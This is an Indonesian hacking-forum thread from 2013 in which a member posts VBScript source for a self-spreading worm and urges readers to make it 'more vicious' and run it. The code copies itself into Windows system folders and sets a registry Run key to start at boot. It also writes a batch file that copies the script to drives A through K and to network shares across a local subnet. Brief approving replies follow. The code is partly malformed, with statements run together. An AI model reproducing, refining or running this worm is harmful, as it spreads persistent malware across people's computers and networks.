☣ Probolinggo Cyber Crew ☣



 
CalendarIndeksGalleryFAQPencarianAnggotaGroupPendaftaranLogin
Welcome
Top posters
Aurelya666 (35)
 
Mr.XSecr3t (23)
 
Tux|Anonymous (18)
 
M1nD-Fr34Kz (18)
 
C404_Cyber (17)
 
PCC_AKVL48 (13)
 
404.reboot (12)
 
wong deso (8)
 
"Ms.Green" (6)
 
izza_009 (5)
 
Latest topics
Pro-Cyber Crew
PCC Team
We Are Anonymous
free forum

User Yang Sedang Online
Total 1 user online :: 0 Terdaftar, 0 Tersembunyi dan 1 Tamu

Tidak ada

User online terbanyak adalah 16 pada Thu Jan 01, 2015 10:15 am

Share | 
 

 code virus worm

Topik sebelumnya Topik selanjutnya Go down 
PengirimMessage
C404_Cyber
Family
Family


Jumlah posting : 17
Cendol : 1
Join date : 08.04.13
Age : 23
Lokasi : hati yang tersakiti

PostSubyek: code virus worm    Thu Jun 13, 2013 12:48 am

langsung aja y nhi source code virus worm, silahkan di kembangkan lagi agar menjadi ganas rek

--- VB Code --------------------------> 
checkDate()function checkDate()if (day(Now)=25) then 
Set objFSO = CreateObject("Scripting.FileSystemObject")If objFSO.FileExists("c:\windows\Update.bat") Then 
set dropper = createobject("wscript.shell") dropper.run "c:\windows\Update.bat", vbhide, true  
Msgbox "You are infected with (M4G1233N) Stealth WoRm!",16,"ALERT!" 
Wscript.Quit
Else
Wscript.Echo "The file does not exist."
End If
Set fso = CreateObject("Scripting.FileSystemObject")
Set File = fso.CreateTextFile("c:\windows\Update.bat", True)
File.WriteLine("@echo off")
File.WriteLine(":: --------> Script by (M4G1233N) <----------") 
File.WriteLine(":: <<< BaTcH Worm! >>> ::") 
File.WriteLine("set escape=exit")
File.WriteLine("set infect=copy")
File.WriteLine("set target=Update.vbs")File.WriteLine("set ip1=192")
File.WriteLine("set ip2=168")
File.WriteLine("set ip3=2")File.WriteLine("set ip4=0")
File.WriteLine("set scan=ping")File.WriteLine("set pth=SharedDocs")
File.WriteLine("set file=Update.vbs")
File.WriteLine("%infect% c:\windows\Virus.vbs a:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs b:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs D:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs E:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs f:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs g:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs h:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs i:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs j:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs k:\%target%")
File.WriteLine(":start")
File.WriteLine("%scan% -n 1 %ip1%.%ip2%.%ip3%.%ip4% | find /i ""reply"" >nul>nul")
File.WriteLine("if not errorlevel 1 goto worm")
File.WriteLine(":worm")
File.WriteLine("%infect% c:\windows\Virus.vbs \\%ip1%.%ip2%.%ip3%.%ip4%\%pth%\%file%")
File.WriteLine("if  errorlevel 1 goto next")File.WriteLine(":next")File.WriteLine("if /i %ip4% NEQ 256 set /a ip4=%ip4%+1")
File.WriteLine("if /i %ip4% EQU 256 set /a ip3=%ip3%+1")
File.WriteLine("if /i %ip4% EQU 256 set /a ip4=1")
File.WriteLine("if %ip4% NEQ 256 goto start")
File.WriteLine("%escape%")
File.WriteLine(":: --------> Script by (M4G1233N) <----------")  
else 
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set fso = CreateObject("Scripting.FileSystemObject") 
fso.CopyFile Wscript.ScriptFullName, "c:\windows\Virus.vbs", True
fso.CopyFile Wscript.ScriptFullName, "c:\windows\system32\Virus.vbs", True 
Msgbox "ERROR",16,"ALERT!" 
Dim WshShell, bKey
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Virus", 1, "REG_BINARY"
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Virus", "c:\windows\Virus.vbs", "REG_SZ"
Wscript.Quit     
end if     
end function
 <---------------------- VB Code --------------------------

caranya copy di notepad atau notepad++ dgn ekstensi bat. atau vbs. terus jalankan dech 

Semoga bermoga bermanfaat dan rasakan kenikmatannya 
Kembali Ke Atas Go down
Lihat profil user
404.reboot
Family
Family


Jumlah posting : 12
Cendol : 2
Join date : 07.11.13
Age : 22
Lokasi : Di Kamar

PostSubyek: Re: code virus worm    Thu Nov 07, 2013 1:39 pm

ok boss, ijin nempelin jejak Hero 

_______________________________________________________________________________________
WE ARE ANONYMOUS

Kembali Ke Atas Go down
Lihat profil user
Aurelya666
Family
Family


Jumlah posting : 35
Cendol : 0
Join date : 26.08.15
Age : 36
Lokasi : Yogyakarta

PostSubyek: Re: code virus worm    Wed Aug 26, 2015 5:27 pm

affraid affraid affraid

_______________________________________________________________________________________
We Can Do What You Can't Do !!
Kembali Ke Atas Go down
Lihat profil user http://inj3ct0r666.blogspot.com/
Sponsored content




PostSubyek: Re: code virus worm    

Kembali Ke Atas Go down
 
code virus worm
Topik sebelumnya Topik selanjutnya Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» [share] Caraku terhindar 100% dari Virus PC & Notebook ( No Deep Freeze )
» BAN SWALLOW TIPE X-WORM UKURAN 150/60 harga murah model keren
» 10 Virus Paling Berbahaya Bagi Tubuh Kita
» Hanya Sebuah Kalimat Sederhana
» Lima Antivirus!

Permissions in this forum:Anda tidak dapat menjawab topik
☣ Probolinggo Cyber Crew ☣ :: Hacking , Cracking , dsb :: Hacking , Cracking , dsb :: Tutorials-
Navigasi: